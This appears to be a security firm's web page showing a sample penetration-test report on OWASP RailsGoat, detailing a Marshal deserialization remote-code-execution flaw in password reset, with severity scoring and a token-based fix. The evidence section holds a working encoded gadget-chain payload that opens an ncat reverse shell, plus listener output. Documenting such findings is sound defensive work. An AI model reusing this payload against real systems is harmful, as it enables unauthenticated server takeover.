Executive summary
The overall posture, the most significant risks and what to address before release, on a page that management can read.
Sample report
A report excerpt based on an assessment of OWASP RailsGoat, an intentionally vulnerable application. It shows the structure, the severity scale and one Remote Code Execution finding in full: the same format you receive after a real engagement, without using client data.
Each finding is written to be reproduced, understood and fixed by your engineers.
The overall posture, the most significant risks and what to address before release, on a page that management can read.
Affected component, attack preconditions, numbered reproduction steps and excerpts from requests and responses.
The data and actions exposed, the roles and tenants involved, realistic abuse conditions and a severity tied to the observed behaviour.
A practical correction path, related patterns worth checking elsewhere and a clear retest status once the fix is available.
Theoretical overview of the 13 RailsGoat vulnerabilities, grouped by technical category and estimated severity.
Sample page
The technical inventory contains 13 vulnerabilities, with a theoretical severity estimate:
The report opens with a summary for decision-makers: posture, the counts, and the risks that matter most, before any technical detail.
Sample page
This label is the report-level assessment of the environment, considering the severity, exploitability and impact of the observed risks.
The overall security posture of RailsGoat is Critical exposure. The assessment identified a weakness in password recovery that may enable remote code execution and a full compromise of the service, data and secrets accessible to the application. This issue should be resolved before any production release.
Other vulnerable areas increase the risk of account compromise and the impact of operational access. The priority is to reduce service exposure, correct password recovery and confirm closure through a retest.
| 01 | Contain exposure. Keep RailsGoat isolated and rotate credentials that may be accessible to the application. |
|---|---|
| 02 | Correct password recovery. Implement a reset flow that cannot be manipulated by the user and complete verification before release. |
| 03 | Confirm closure. Repeat security checks and obtain an independent retest with a positive result. |
Excerpt scope: the password-recovery function in OWASP RailsGoat.
Cause, evidence, impact, severity assessment and remediation: the complete finding validated against RailsGoat.
Sample page
| Remediation effort | Medium |
|---|---|
| CVSS vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-502 · Deserialization of Untrusted Data |
| OWASP | A08:2021 – Software and Data Integrity Failures |
| Affected components |
The password-reset flow accepts a client-supplied user parameter, decodes it from Base64 and passes it directly to Marshal.load. Because Ruby Marshal can reconstruct arbitrary object graphs, a remote attacker can submit a crafted object and execute commands with the privileges of the Rails process.
Network-reachable endpoint; no authentication required. The attacker only needs a valid reset-flow request and can replace the serialized field before submission.
Attack path validated in the isolated RailsGoat environment:
Affected code app/controllers/password_resets_controller.rb:6; app/views/password_resets/reset_password.html.erb:12
Marshal.dump, Base64-encodes it and places it in the hidden user field, sending an object trusted by the server to the browser.POST /password_resets request allows the user field to be replaced with attacker-controlled Marshal data.Marshal.load(Base64.decode64(params[:user])) without integrity validation or restrictions on deserializable types.ERB and ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy executed a non-destructive proof command on the server, confirming control of the application process.POST /password_resets HTTP/1.1
Host: localhost:3000
Content-Type: application/x-www-form-urlencoded
Content-Length: 351
user=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQg6DkBpbnN0YW5jZW86CEVSQgg6CUBzcmNJIi9gbmNhdCAxMjcuMC4wLjEgMTIzNCAtdiAtZSAvYmluL2Jhc2ggMj4mMWAGOgZFVDoOQGZpbGVuYW1lSSIGMQY7CVQ6DEBsaW5lbm9pBjoMQG1ldGhvZDoLcmVzdWx0OhBAZGVwcmVjYXRvcm86GEJ1bmRsZXI6OlVJOjpTaWxlbnQGOg5Ad2FybmluZ3NbAA==&password=x&confirm_password=xHTTP/1.1 302 Found
Location: /login
$ ncat -lvp 1234 -k
Connection from 127.0.0.1.
whoami
perspicanAn unauthenticated attacker can execute commands in the context of the Rails application. This may allow them to read or alter application data and secrets, tamper with the service, reach resources available to the process and interrupt the application. Impact beyond the container or host depends on the deployment privileges and network segmentation.
Compromise of the application process can interrupt service, expose user data and require credential rotation, forensic investigation and stakeholder communications. For an exposed asset, the operational risk is incompatible with release.
The issue is remotely reachable, requires no authentication or victim interaction and has low operational complexity once the payload is constructed. Code execution fully compromises confidentiality, integrity and availability in the Rails process context. The assessment considers application-process privileges and does not assume additional host privileges.
Remove deserialization from the reset flow and replace it with a server-generated opaque token. The controller should create a random token, store only its digest with the user and expiry, and send the browser only the opaque value. On confirmation, look up the token server-side, enforce expiry and integrity, consume it atomically, and reject missing or reused values. Update the form so it no longer serializes the user object. Add regression tests for arbitrary Marshal payloads, expired tokens, token reuse and token/user mismatches.
# app/controllers/password_resets_controller.rb:6
# remove: user = Marshal.load(Base64.decode64(params[:user]))
token = SecureRandom.urlsafe_base64(32)
PasswordResetToken.issue!(user: user, token_digest: Digest::SHA256.hexdigest(token), expires_at: 15.minutes.from_now)
redirect_to reset_password_path(token: token)
# app/views/password_resets/reset_password.html.erb:12
# submit only the opaque token; never Marshal.dump the user object
# confirmation endpoint
reset = PasswordResetToken.consume!(params[:token])
return head :unprocessable_entity unless reset
# set the new password only after consume! succeedsThe vulnerability was reproduced in the RailsGoat assessment environment. Retest has not been performed.
Tell me which assets, environments and dates need to be included.
Prefer to write directly? [email protected]